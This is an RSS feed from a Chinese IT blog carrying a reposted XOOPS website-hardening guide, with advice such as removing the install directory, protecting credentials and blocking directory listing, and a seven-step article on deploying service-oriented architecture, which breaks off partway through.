<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>温室小花.技术.博客 --纯粹的unix技术博客</title>
	<atom:link href="http://www.evanjiang.net.cn/feed" rel="self" type="application/rss+xml" />
	<link>http://www.evanjiang.net.cn</link>
	<description>红颜弹指老,与其天涯思君,不如相忘于江湖</description>
	<lastBuildDate>Wed, 10 Mar 2010 12:50:25 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>XOOPS安全向导(网上转摘）</title>
		<link>http://www.evanjiang.net.cn/archives/1477.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1477.html#comments</comments>
		<pubDate>Wed, 10 Mar 2010 00:33:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1477</guid>
		<description><![CDATA[<p style="float: right;margin: 4px;">


</p> <p>之前，用xoops弄了一个基于XOOPS安装的男士网站，运营得还可以，谁知却给欺诈商瞄上，给加了些欺诈性网页与程序，致使网站给空间商关掉，让俺痛心不已。所以，就从网上找了些XOOPS安全的文章，最后找到下面这篇文章，就转了过来。初步看来，这篇文章还可以。还不错。不妨参考一看，做好xoops的安全。。</p>
<p>首先，你需要记住这个︰没有一个100%安全的系统。任何事物都是相对的。在这个前提下，我们可以做一些使你的系统更安全的措施。
这个向导概述了不同的步骤来使你的系统更安全，技巧有来自XOOPS-TIPS.com的，也有来自XOOPS官方论坛的，多数的技巧已经被在XOOPS-TIPS.com列出来了，但是列出来的是分散的。我们希望把这些技巧分门别类，使你能更好的领会”安全问题”。</p>
<p>选择一个好的空间服务商
我们总是把那个公司提供最多的功能而价格最低廉放在选择空间的首位，其实，很多其它的因素值得注意。</p>
<p>下面是一些技巧︰
一个好的著名的空间服务商通常意味着安全。因为我们没有一个预算来单独买一台主机，你应当注意整个主机的安全性和在这个主机上的其它网站的安全性。因为这些对你的网站的安全至关重要。
不管你的网站多么安全，如果你的服务器被在上面的其它网站威胁，你使你的网站更安全的措施都是白费力。
转让或规模较小的空间服务商应当被避免选择。因为通常来说，我们没有资源或者方法来监视你的服务器。</p>
<p>安装——选择一个不好猜测的前缀
在安装进程中，选择一个不好猜测的前缀，像︰f56Gewg_3GE98FE53fgw，或者HK_er__twgwY98Fgfw。
如果你用的预设的“xoops”作为前缀，你可以用GIJOE的“XOOPS Protector”这个模块来修改前缀

安装完成后马上应该做的
当你安装完XOOPS的时候，不要忘记删除安装目录和修改mainfile.php的权限。不删除安装目录、不修改mainfile权限，相当于公开要请别人来重新安装并且取代你控制这个网站。
安装”XOOPS Protector”模块
当你安装完XOOPS 的时候，你应当安装的第一个模块是GIJOE的”XOOPS Protector”模块。如果你对你的网站安全很在意，GIJOE的“XOOPS Protector”模块是必须安装的的。
XOOPS可能是最安全的CMS之一，然而，它的核心有潜在的隐患可能使黑客攻击进入你的网站。这一点已经被GIJOE——“对XOOPS安全贡献最大的人士”证明。
获得更多信息，请访问GIJOE的网站︰http://www.peak.ne.jp/xoops/</p>
<p>







把用户名和密码从Mainfile.php中移出来
你安装完XOOPS后，我们建议你把数据库的用户名和密码从mainfile.php中移出来。把敏感的信息从网站目录中移出来是很好的安全措施。这可以避免由你的服务器失误导致的敏感信息泄漏。例如PHP停止编译，如果这样的话，PHP文件里的信息可以被任何人士读到。
关于这个技巧的详细信息，请访问︰http://xoops-tips.com/news-article.storyid-1.htm</p>
<p>保护Admin.php和“系统管理”模块
Admin.php是任何人都可以访问的，这就为黑客攻击提供可乘之机，保护Admin.php的方法请访问︰http://xoops-tips.com/news-article.storyid-9.htm</p>
<p>保护风格目录（themes）
你可以阻止你的风格目录被探测器探测到，详细请访问︰http://xoops-tips.com/news-article.storyid-25.htm</p>
<p>关掉“列表目录”功能
如果你的服务器有”关闭列表目录”功能的话，关掉它！如果服务器不提供这个功能，建立一个“index.html”输入以下代码︰
history.go(-1);
上传到XOOPS所有的目录，除了根目录和模块的根目录。
XOOPS预设存在这个文件（index.html），但是我们建议你确保每个目录里都有这个文件（除了根目录和模块的根目录）。</p>
<p>保护管理员的Email地址
除了对用户以外，你绝对不应该把管理员的Email地址告诉给其它人士。如果你正在用 “XOOPS headline”模块，请访问以下的网址来确保你的管理员Email不泄漏给其它人士︰</p>
<p>http://xoops-tips.com/news-article.storyid-51.htm</p>
<p>第三方模块
注意第三方模块，这里面可能存在一些作者没有察觉的安全隐患。
如果你正在使用第三方模块，请经常检查更新，并且有规律的访问XOOPS论坛，看一下其它用户的反映。







</p>
<p>其它的你应该做的︰
1.经常备份你的网站内容。
2.在“访问量”和安全之间找到平衡点︰适当的开启审核功能。
3.保证你的XOOPS是最新的。
4.PHP 和 MySQL 方面︰考虑开启“cgi-wrap“功能，但这是以牺牲速度为代价的。
5.禁止缓存︰如果你是需要出售内容的，考虑在 theme.htm 的顶部加入以下代码︰

这会阻止搜寻引擎缓存你的内容。如果不这样，即使你阻止了一个人的IP，他仍然可以从搜寻引擎的缓存中获得你的内容，但注意，这会使你的搜寻引擎排名降低！</p>
<p>最后一点︰不要过于自信，保持高度仔细。
祝你使用XOOPS愉快！</p>
<p>XOOPS官方网站︰http://www.xoops.org.cn
XOOPS-TIPS.com︰http://www.xoops-tips.com
XOOPS CHINA︰http://www.xoops.org.cn</p>
<p>=================================
这个文件的Word版本请在附件下载！Word版本有更好的显示效果！
请尊重原作者的劳动成果，转载时请完整转载。
原作请访问︰</p>
<p>http://xoops-tips.com/news-article.storyid-81.htm</p>
]]></description>
			<content:encoded><![CDATA[<p style="float: left;margin: 4px;"><script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 160x600, 创建于 10-2-7 */
google_ad_slot = "8970910006";
google_ad_width = 160;
google_ad_height = 600;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p> <p>之前，用xoops弄了一个基于XOOPS安装的男士网站，运营得还可以，谁知却给欺诈商瞄上，给加了些欺诈性网页与程序，致使网站给空间商关掉，让俺痛心不已。所以，就从网上找了些XOOPS安全的文章，最后找到下面这篇文章，就转了过来。初步看来，这篇文章还可以。还不错。不妨参考一看，做好xoops的安全。。</p>
<p>首先，你需要记住这个︰没有一个100%安全的系统。任何事物都是相对的。在这个前提下，我们可以做一些使你的系统更安全的措施。<br />
这个向导概述了不同的步骤来使你的系统更安全，技巧有来自XOOPS-TIPS.com的，也有来自XOOPS官方论坛的，多数的技巧已经被在XOOPS-TIPS.com列出来了，但是列出来的是分散的。我们希望把这些技巧分门别类，使你能更好的领会”安全问题”。</p>
<p>选择一个好的空间服务商<br />
我们总是把那个公司提供最多的功能而价格最低廉放在选择空间的首位，其实，很多其它的因素值得注意。</p>
<p>下面是一些技巧︰<br />
一个好的著名的空间服务商通常意味着安全。因为我们没有一个预算来单独买一台主机，你应当注意整个主机的安全性和在这个主机上的其它网站的安全性。因为这些对你的网站的安全至关重要。<br />
不管你的网站多么安全，如果你的服务器被在上面的其它网站威胁，你使你的网站更安全的措施都是白费力。<br />
转让或规模较小的空间服务商应当被避免选择。因为通常来说，我们没有资源或者方法来监视你的服务器。</p>
<p>安装——选择一个不好猜测的前缀<br />
在安装进程中，选择一个不好猜测的前缀，像︰f56Gewg_3GE98FE53fgw，或者HK_er__twgwY98Fgfw。<br />
如果你用的预设的“xoops”作为前缀，你可以用GIJOE的“XOOPS Protector”这个模块来修改前缀<br />
<span id="more-1477"></span><br />
安装完成后马上应该做的<br />
当你安装完XOOPS的时候，不要忘记删除安装目录和修改mainfile.php的权限。不删除安装目录、不修改mainfile权限，相当于公开要请别人来重新安装并且取代你控制这个网站。<br />
安装”XOOPS Protector”模块<br />
当你安装完XOOPS 的时候，你应当安装的第一个模块是GIJOE的”XOOPS Protector”模块。如果你对你的网站安全很在意，GIJOE的“XOOPS Protector”模块是必须安装的的。<br />
XOOPS可能是最安全的CMS之一，然而，它的核心有潜在的隐患可能使黑客攻击进入你的网站。这一点已经被GIJOE——“对XOOPS安全贡献最大的人士”证明。<br />
获得更多信息，请访问GIJOE的网站︰http://www.peak.ne.jp/xoops/</p>
<p>
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
把用户名和密码从Mainfile.php中移出来<br />
你安装完XOOPS后，我们建议你把数据库的用户名和密码从mainfile.php中移出来。把敏感的信息从网站目录中移出来是很好的安全措施。这可以避免由你的服务器失误导致的敏感信息泄漏。例如PHP停止编译，如果这样的话，PHP文件里的信息可以被任何人士读到。<br />
关于这个技巧的详细信息，请访问︰http://xoops-tips.com/news-article.storyid-1.htm</p>
<p>保护Admin.php和“系统管理”模块<br />
Admin.php是任何人都可以访问的，这就为黑客攻击提供可乘之机，保护Admin.php的方法请访问︰http://xoops-tips.com/news-article.storyid-9.htm</p>
<p>保护风格目录（themes）<br />
你可以阻止你的风格目录被探测器探测到，详细请访问︰http://xoops-tips.com/news-article.storyid-25.htm</p>
<p>关掉“列表目录”功能<br />
如果你的服务器有”关闭列表目录”功能的话，关掉它！如果服务器不提供这个功能，建立一个“index.html”输入以下代码︰<br />
<script>history.go(-1);</script><br />
上传到XOOPS所有的目录，除了根目录和模块的根目录。<br />
XOOPS预设存在这个文件（index.html），但是我们建议你确保每个目录里都有这个文件（除了根目录和模块的根目录）。</p>
<p>保护管理员的Email地址<br />
除了对用户以外，你绝对不应该把管理员的Email地址告诉给其它人士。如果你正在用 “XOOPS headline”模块，请访问以下的网址来确保你的管理员Email不泄漏给其它人士︰</p>
<p>http://xoops-tips.com/news-article.storyid-51.htm</p>
<p>第三方模块<br />
注意第三方模块，这里面可能存在一些作者没有察觉的安全隐患。<br />
如果你正在使用第三方模块，请经常检查更新，并且有规律的访问XOOPS论坛，看一下其它用户的反映。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
<p>其它的你应该做的︰<br />
1.经常备份你的网站内容。<br />
2.在“访问量”和安全之间找到平衡点︰适当的开启审核功能。<br />
3.保证你的XOOPS是最新的。<br />
4.PHP 和 MySQL 方面︰考虑开启“cgi-wrap“功能，但这是以牺牲速度为代价的。<br />
5.禁止缓存︰如果你是需要出售内容的，考虑在 theme.htm 的顶部加入以下代码︰<br />
<META NAME=“ROBOTS” CONTENT=“NOARCHIVE”><br />
这会阻止搜寻引擎缓存你的内容。如果不这样，即使你阻止了一个人的IP，他仍然可以从搜寻引擎的缓存中获得你的内容，但注意，这会使你的搜寻引擎排名降低！</p>
<p>最后一点︰不要过于自信，保持高度仔细。<br />
祝你使用XOOPS愉快！</p>
<p>XOOPS官方网站︰http://www.xoops.org.cn<br />
XOOPS-TIPS.com︰http://www.xoops-tips.com<br />
XOOPS CHINA︰http://www.xoops.org.cn</p>
<p>=================================<br />
这个文件的Word版本请在附件下载！Word版本有更好的显示效果！<br />
请尊重原作者的劳动成果，转载时请完整转载。<br />
原作请访问︰</p>
<p>http://xoops-tips.com/news-article.storyid-81.htm</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1477.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>成功部署SOA的七个步骤</title>
		<link>http://www.evanjiang.net.cn/archives/1471.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1471.html#comments</comments>
		<pubDate>Sun, 28 Feb 2010 02:04:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[websphare]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1471</guid>
		<description><![CDATA[<p style="float: right;margin: 4px;">


</p> <p>面向服务架构的架构及其所支持的Web服务已经成为当今最热门的软件趋势。但同时，人们对它的理解也最不全面。</p>
<p>　　理论上，面向服务的架构(SOA)和它的名字一样不是那么复杂。Open Group给SOA做了一个简单的定义：“一个支持以服务为导向的架构风格。”&#8212;一种你可以创建业务流程的方式，SOA就像胶水一样，可以将你的应用紧紧“粘连”在一起。然而，在实践中，这一原则可以说是极其复杂并且使人感到很迷惑。部署一个SOA就像为一个几十年的老房子建造地下室一样让人感到很没有底气。你如何才能搭建一个基础去支持一些已建成的应用呢？你如何才将已经存在的应用“粘连”在一起呢？</p>
<p>　　尽管实施SOA的前景是如此的“恐怖”和“黯淡”，但是，现在投资与SOA服务和技术的公司比以往任何时候都要多。在其“2007&#8212;2008年SOA开支报告”中，市场研究机构AMR Research发现，企业投资与SOA的预算正在以惊人的速度增长：在接受调查的公司中，有53%的公司正在使用SOA，而在去年同期，这一比例仅仅为21%，增加了一倍多。另外，还有37%的公司正考虑准备部署第一个SOA，预计到2010部署完毕。</p>
<p>　　投资服务和技术以支持SOA的开销是非常昂贵的，但这种方法给企业的部分承诺是：这项支出将很快在企业中看到回报，提高企业的生产力、业务效率、客户满意度，并通过重用性减少成本。此外，从长远来看，企业投资于SOA可以避免昂贵的点到点的集成项目，如果采用传统架构，每次产品升级企业都要进行这样的集成，这使得企业的开支大大减少。</p>
<p>　　把SOA应用于企业流程而获得成功的企业在各个行业数不胜数。纽约健康及心理卫生署(New York City Department of Health and Mental Hygiene)在部署了SOA项目以后，其文件处理的效率提高了25倍;Parametric Technology是一家财富500强企业，主要向客户提供软件和服务，该公司在使用了甲骨文的Fusion中间件以后，业务效率大大提高，可以实时满足其各个商业领域客户的需求。不过，并非所有公司都如此成功：根据AMR Research的调查报告，2008年投资与SOA的费用将高达数百万美元，但“大多数被浪费了”。为了确保你的公司所实施的SOA是最好的，我将在下面介绍一个部署SOA的步骤，以便使你在部署过程中不会手忙脚乱不知所措。</p>
<p>　　第1步：尽职调查，做好你自己的功课

　　尽管SOA正在变得日益普及，但围绕“到底什么是SOA”仍然有一些混乱。市场分析机构Saddletree Research公司总裁和首席分析师Paul Stockford指出，人们对于SOA最常见的误解以及就是认为它是一种产品。“SOA不是你可以买到的一个现成产品，”Stockford说。相反，SOA指的是一系列的开发和集成应用的原则;而Web 服务正是实现这些原则的是一套标准。</p>
<p>　　由于在过去的几年里人们对SOA炒作和关注已经到了疯狂的地步，这使得很容易形成这样一种思维定式，认为SOA是企业的灵丹妙药&#8212;一个能立刻治愈所有服务的痛苦的架构。不过，现实总是不参杂任何感情色彩的。企业在掏钱部署SOA之前，需要了解SOA的基本原则是如何切实适用于特定的业务流程的。“个案研究是一个了解SOA如何才能给你的公司提供帮助的有效方式”，AMR Research分析师Ian Finley说。此外，你也可以借助杂志、商展和竞争对手来了解SOA。与软件供应商进行讨论是你可以利用的另一个潜在资源;Finley建议同多个不同的软件供应商进行沟通，因为有些供应商出于私利有可能会夸大自己的SOA技术。</p>
<p>　　第2步：成立一个团队</p>
<p>　　几乎所有的专家都一致认为，一个成功的 SOA项目中其中最关键的步骤是确保你公司的各个部门之间进行沟通。Nice Systems公司全球行销副总裁Eyal Danon称SOA为“IT和业务之间的桥梁”。 SOA或Web服务项目的技术天性要求它应该几乎完全由企业的技术部门(或外部顾问)承担，但是由于这些项目的核心部分是为了推动业务流程的，所以高层主管行政人员也应该参与进来，这是必不可少的。








　　为了做到这一点，其中一个最有效的方法是成立一个由高层主管行政人员和顶尖的IT员工组成的专门小组。市场研究机构Aberdeen Group公司高级分析师Michael Dortch说：“一流的公司总是将企业各个部门最合适的人才组成一个智囊团，听取他们的意见。要使SOA的建设取得成功并使企业更具竞争力，也需要多方面集思广益。”通过建立一个跨部门的团队致力于你的SOA项目，这样就可以确保来自企业各个部门的人都会关注并对SOA项目负责，直至成功。你可以为这个团队指定一个负责人来领导项目建设，这依赖于你的企业文化。
第3步：制定现实的目标</p>
<p>　　我们应该如何看待SOA呢？我们可以用《金发姑娘和三只小熊》打个比喻：计划太大或者计划太小都是不明智的;最好是恰恰能满足公司的需要。如果你确定要实施一个SOA，那么你一定要在脑中有一个清晰的目标。如果这些目标是没有被明确地定义，那么你就有可能花费了大量精力和金钱才掌握的技术以及建设的基础设施是你不需要的。但是，还有这样一个同样危险的陷阱：“一些公司常犯的一个错误是，他们试图把一切东西都设计得非常完美，” Finley说。“超大规模的SOA项目本身就是一个错误。”</p>
<p>　　部署SOA的一种有效方法是寻找一个单一业务部门，在那里创建一个基于Web服务的应用将能收到立竿见影的效果。将SOA项目分阶段部署能够使该项目更容易实施。在部署第一个SOA应用之前，你必须问自己：SOA能给我的公司带来什么好处呢？这将依赖于你的企业的年龄和复杂度、企业文化、优先次序和企业的系统结构。</p>
<p>　　第4步：有效地管理你的数据</p>
<p>　　因为SOA有助于推动企业数据的无缝共享，而企业数据是服务的动力源泉，所以SOA的成功与否与企业数据息息相关。换句话说，数据质量不够好的话就有可能对企业业务造成伤害。“在面向服务的架构中，你想要最大限度地共享和重用资源，比如客户资料，”市场研究机构Forrester Research高级分析师James Kobielus说。“企业往往会做错的一件事就是他们没有将自己的客户数据集成到一个核心企业知识库里。”</p>
<p>　　要创建一个客户数据集成(Customer Data Integration，CDI)仓库，企业在尝试部署SOA之前，往往需要投资于购买主数据管理(Master Data Management，MDM)工具。虽然很多公司选择从他们的CRM供应商那里购买MDM工具，但Kobielus建议在部署MDM之前，应综合考虑各个厂商的产品，选择一个最适合自己的厂商。几乎所有的数据清洗(Data-Cleaning厂商已经实现了Web服务标准，因此，不论软件的品牌是什么，易集成性都很高。




　　第5步：自己创建还是购买SOA</p>
<p>　　在培训和规划阶段，仔细考虑你的SOA倡议的具体细节是很重要的。随着具备SOA技术的厂商逐渐增多，你的选择也相应地增加了。在过去，如果一个公司想要把SOA准则运用于自己的业务中，它需要自己做很多工作。但是，随着现在越来越多的供应商可以提供一套完整的SOA架构，它是一个可以帮助你构建SOA的预构建(Prebuild)工具 。</p>
<p>　　为了制定适合你的公司的最好方法，SOA 团队必须考虑你的公司所具备的业务优势，并同可能的SOA供应商讨论各个候选方案的优势和劣势。预构建工具在SOA部署过程中可以起到润滑剂的作用，并可以减轻IT团队的很多压力。甲骨文、IBM 和SAP是一领域的领头羊，他们都有具备这些功能的工具集。对于那些过去利用花钱购买套装应用来创建IT系统的公司来说，建SOA工具毫无疑问对他们来说很有吸引力。</p>
<p>　　另一方面，如果一个公司采用更加先进的SOA可能意味着会带来更多的收入，那么，这些公司就希望利用管理工具帮助他们创建自己的基础设施。“在投标如此密集的市场领域，有时候几毫秒的时间就能影响到生意的成败，所以，自己建设SOA也是很有意义的”，Aberdeen Group高级研究分析师Ian Michiels说。在Forrester公布的市场调查报告《The Forrester Wave：单独SOA和Web服务管理解决方案，2007年第四季度》中，Progress Software 、AmberPoint、IBM的解决方案被列为最高效的解决方案，但是，仔细调查多个供应商从中选择一个最适合你企业的厂商仍然很重要。</p>
<p>　　第6步：循序渐进</p>
<p>　　“婴儿学步”应该是成功部署SOA这个“游戏”最合适的代名词。正如我们在第3步中讨论的那样，首先从一个小项目着手部署是很重要的。企业在应用集成过程中所面临挑战的困难度可以更加清楚地显示部署SOA带来的好处。这种交叉作用的程度各个公司可能会有所差异。</p>
<p>　　对小项目仔细测量对于SOA在更广泛的范围内取得成功是非常重要的。在项目开始之前和结束之后进行标准检查对于未来SOA部署的成功也是必须的。Dortch发现，在一流的SOA用户中，60%的用户会部署SOA性能分析和报告软件，40%的用户会为SOA应用和服务建立服务质量指标。</p>
<p>　　在以业务为中心的地方放上度量手段，就能看到性能是否提高以及员工使用的服务数目的是否增加。Dortch解释说，虽然有很多公司忽略了这个明显步骤，但是，建立一个精确的性能测试却是一个显而易见的好办法。“你正在做任何一个称职的IT系统自丛诞生以来一直在干的事情：复制和调整。”</p>
<p>　　第7步：保持跟踪</p>
<p>　　对于任何业务项目，为了能从投资中获得最大的价值，时刻对它保持关注很重要。对于SOA项目来说，持续跟踪尤为重要。在企业范围内，一个完整的SOA集成可能需要几年的时间，而这带来的好处甚至可能需要更长的时间才能完全释放出来。你需要保持你任命的SOA团队时刻处于待命状态并准备迎接可能出现的挑战。Dortch建议为这个团队创建一个基于成功部署的激励结构。如果你向行政人员证明SOA正在给企业带来他们所关心的商业利益，他们也会对SOA项目保持关注。“告诉他们你在做什么，并让他们负责协调一些工作。这是一个不能跳过得步骤。” Dortch说。</p>
<p>　　SOA供应商业会根据最新出现的标准继续配置他们的产品，并开发新的并且不同的创建SOA的方法。在这个瞬息万变的领域里，企业应该时刻关注业界出现的新兴技术以保持竞争力并跟上时代发展的步伐。“SOA的未来是非常光明的，”Stockford说。“这给供应商和使用者都带来了巨大的机遇，利用SOA的集成创新技术创造竞争优势。”</p>
]]></description>
			<content:encoded><![CDATA[<p>面向服务架构的架构及其所支持的Web服务已经成为当今最热门的软件趋势。但同时，人们对它的理解也最不全面。</p>
<p>　　理论上，面向服务的架构(SOA)和它的名字一样不是那么复杂。Open Group给SOA做了一个简单的定义：“一个支持以服务为导向的架构风格。”&#8212;一种你可以创建业务流程的方式，SOA就像胶水一样，可以将你的应用紧紧“粘连”在一起。然而，在实践中，这一原则可以说是极其复杂并且使人感到很迷惑。部署一个SOA就像为一个几十年的老房子建造地下室一样让人感到很没有底气。你如何才能搭建一个基础去支持一些已建成的应用呢？你如何才将已经存在的应用“粘连”在一起呢？</p>
<p>　　尽管实施SOA的前景是如此的“恐怖”和“黯淡”，但是，现在投资与SOA服务和技术的公司比以往任何时候都要多。在其“2007&#8212;2008年SOA开支报告”中，市场研究机构AMR Research发现，企业投资与SOA的预算正在以惊人的速度增长：在接受调查的公司中，有53%的公司正在使用SOA，而在去年同期，这一比例仅仅为21%，增加了一倍多。另外，还有37%的公司正考虑准备部署第一个SOA，预计到2010部署完毕。</p>
<p>　　投资服务和技术以支持SOA的开销是非常昂贵的，但这种方法给企业的部分承诺是：这项支出将很快在企业中看到回报，提高企业的生产力、业务效率、客户满意度，并通过重用性减少成本。此外，从长远来看，企业投资于SOA可以避免昂贵的点到点的集成项目，如果采用传统架构，每次产品升级企业都要进行这样的集成，这使得企业的开支大大减少。</p>
<p>　　把SOA应用于企业流程而获得成功的企业在各个行业数不胜数。纽约健康及心理卫生署(New York City Department of Health and Mental Hygiene)在部署了SOA项目以后，其文件处理的效率提高了25倍;Parametric Technology是一家财富500强企业，主要向客户提供软件和服务，该公司在使用了甲骨文的Fusion中间件以后，业务效率大大提高，可以实时满足其各个商业领域客户的需求。不过，并非所有公司都如此成功：根据AMR Research的调查报告，2008年投资与SOA的费用将高达数百万美元，但“大多数被浪费了”。为了确保你的公司所实施的SOA是最好的，我将在下面介绍一个部署SOA的步骤，以便使你在部署过程中不会手忙脚乱不知所措。</p>
<p>　　第1步：尽职调查，做好你自己的功课<br />
<span id="more-1471"></span><br />
　　尽管SOA正在变得日益普及，但围绕“到底什么是SOA”仍然有一些混乱。市场分析机构Saddletree Research公司总裁和首席分析师Paul Stockford指出，人们对于SOA最常见的误解以及就是认为它是一种产品。“SOA不是你可以买到的一个现成产品，”Stockford说。相反，SOA指的是一系列的开发和集成应用的原则;而Web 服务正是实现这些原则的是一套标准。</p>
<p>　　由于在过去的几年里人们对SOA炒作和关注已经到了疯狂的地步，这使得很容易形成这样一种思维定式，认为SOA是企业的灵丹妙药&#8212;一个能立刻治愈所有服务的痛苦的架构。不过，现实总是不参杂任何感情色彩的。企业在掏钱部署SOA之前，需要了解SOA的基本原则是如何切实适用于特定的业务流程的。“个案研究是一个了解SOA如何才能给你的公司提供帮助的有效方式”，AMR Research分析师Ian Finley说。此外，你也可以借助杂志、商展和竞争对手来了解SOA。与软件供应商进行讨论是你可以利用的另一个潜在资源;Finley建议同多个不同的软件供应商进行沟通，因为有些供应商出于私利有可能会夸大自己的SOA技术。</p>
<p>　　第2步：成立一个团队</p>
<p>　　几乎所有的专家都一致认为，一个成功的 SOA项目中其中最关键的步骤是确保你公司的各个部门之间进行沟通。Nice Systems公司全球行销副总裁Eyal Danon称SOA为“IT和业务之间的桥梁”。 SOA或Web服务项目的技术天性要求它应该几乎完全由企业的技术部门(或外部顾问)承担，但是由于这些项目的核心部分是为了推动业务流程的，所以高层主管行政人员也应该参与进来，这是必不可少的。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
　　为了做到这一点，其中一个最有效的方法是成立一个由高层主管行政人员和顶尖的IT员工组成的专门小组。市场研究机构Aberdeen Group公司高级分析师Michael Dortch说：“一流的公司总是将企业各个部门最合适的人才组成一个智囊团，听取他们的意见。要使SOA的建设取得成功并使企业更具竞争力，也需要多方面集思广益。”通过建立一个跨部门的团队致力于你的SOA项目，这样就可以确保来自企业各个部门的人都会关注并对SOA项目负责，直至成功。你可以为这个团队指定一个负责人来领导项目建设，这依赖于你的企业文化。<br />
第3步：制定现实的目标</p>
<p>　　我们应该如何看待SOA呢？我们可以用《金发姑娘和三只小熊》打个比喻：计划太大或者计划太小都是不明智的;最好是恰恰能满足公司的需要。如果你确定要实施一个SOA，那么你一定要在脑中有一个清晰的目标。如果这些目标是没有被明确地定义，那么你就有可能花费了大量精力和金钱才掌握的技术以及建设的基础设施是你不需要的。但是，还有这样一个同样危险的陷阱：“一些公司常犯的一个错误是，他们试图把一切东西都设计得非常完美，” Finley说。“超大规模的SOA项目本身就是一个错误。”</p>
<p>　　部署SOA的一种有效方法是寻找一个单一业务部门，在那里创建一个基于Web服务的应用将能收到立竿见影的效果。将SOA项目分阶段部署能够使该项目更容易实施。在部署第一个SOA应用之前，你必须问自己：SOA能给我的公司带来什么好处呢？这将依赖于你的企业的年龄和复杂度、企业文化、优先次序和企业的系统结构。</p>
<p>　　第4步：有效地管理你的数据</p>
<p>　　因为SOA有助于推动企业数据的无缝共享，而企业数据是服务的动力源泉，所以SOA的成功与否与企业数据息息相关。换句话说，数据质量不够好的话就有可能对企业业务造成伤害。“在面向服务的架构中，你想要最大限度地共享和重用资源，比如客户资料，”市场研究机构Forrester Research高级分析师James Kobielus说。“企业往往会做错的一件事就是他们没有将自己的客户数据集成到一个核心企业知识库里。”</p>
<p>　　要创建一个客户数据集成(Customer Data Integration，CDI)仓库，企业在尝试部署SOA之前，往往需要投资于购买主数据管理(Master Data Management，MDM)工具。虽然很多公司选择从他们的CRM供应商那里购买MDM工具，但Kobielus建议在部署MDM之前，应综合考虑各个厂商的产品，选择一个最适合自己的厂商。几乎所有的数据清洗(Data-Cleaning厂商已经实现了Web服务标准，因此，不论软件的品牌是什么，易集成性都很高。<br />
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, 创建于 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
　　第5步：自己创建还是购买SOA</p>
<p>　　在培训和规划阶段，仔细考虑你的SOA倡议的具体细节是很重要的。随着具备SOA技术的厂商逐渐增多，你的选择也相应地增加了。在过去，如果一个公司想要把SOA准则运用于自己的业务中，它需要自己做很多工作。但是，随着现在越来越多的供应商可以提供一套完整的SOA架构，它是一个可以帮助你构建SOA的预构建(Prebuild)工具 。</p>
<p>　　为了制定适合你的公司的最好方法，SOA 团队必须考虑你的公司所具备的业务优势，并同可能的SOA供应商讨论各个候选方案的优势和劣势。预构建工具在SOA部署过程中可以起到润滑剂的作用，并可以减轻IT团队的很多压力。甲骨文、IBM 和SAP是一领域的领头羊，他们都有具备这些功能的工具集。对于那些过去利用花钱购买套装应用来创建IT系统的公司来说，建SOA工具毫无疑问对他们来说很有吸引力。</p>
<p>　　另一方面，如果一个公司采用更加先进的SOA可能意味着会带来更多的收入，那么，这些公司就希望利用管理工具帮助他们创建自己的基础设施。“在投标如此密集的市场领域，有时候几毫秒的时间就能影响到生意的成败，所以，自己建设SOA也是很有意义的”，Aberdeen Group高级研究分析师Ian Michiels说。在Forrester公布的市场调查报告《The Forrester Wave：单独SOA和Web服务管理解决方案，2007年第四季度》中，Progress Software 、AmberPoint、IBM的解决方案被列为最高效的解决方案，但是，仔细调查多个供应商从中选择一个最适合你企业的厂商仍然很重要。</p>
<p>　　第6步：循序渐进</p>
<p>　　“婴儿学步”应该是成功部署SOA这个“游戏”最合适的代名词。正如我们在第3步中讨论的那样，首先从一个小项目着手部署是很重要的。企业在应用集成过程中所面临挑战的困难度可以更加清楚地显示部署SOA带来的好处。这种交叉作用的程度各个公司可能会有所差异。</p>
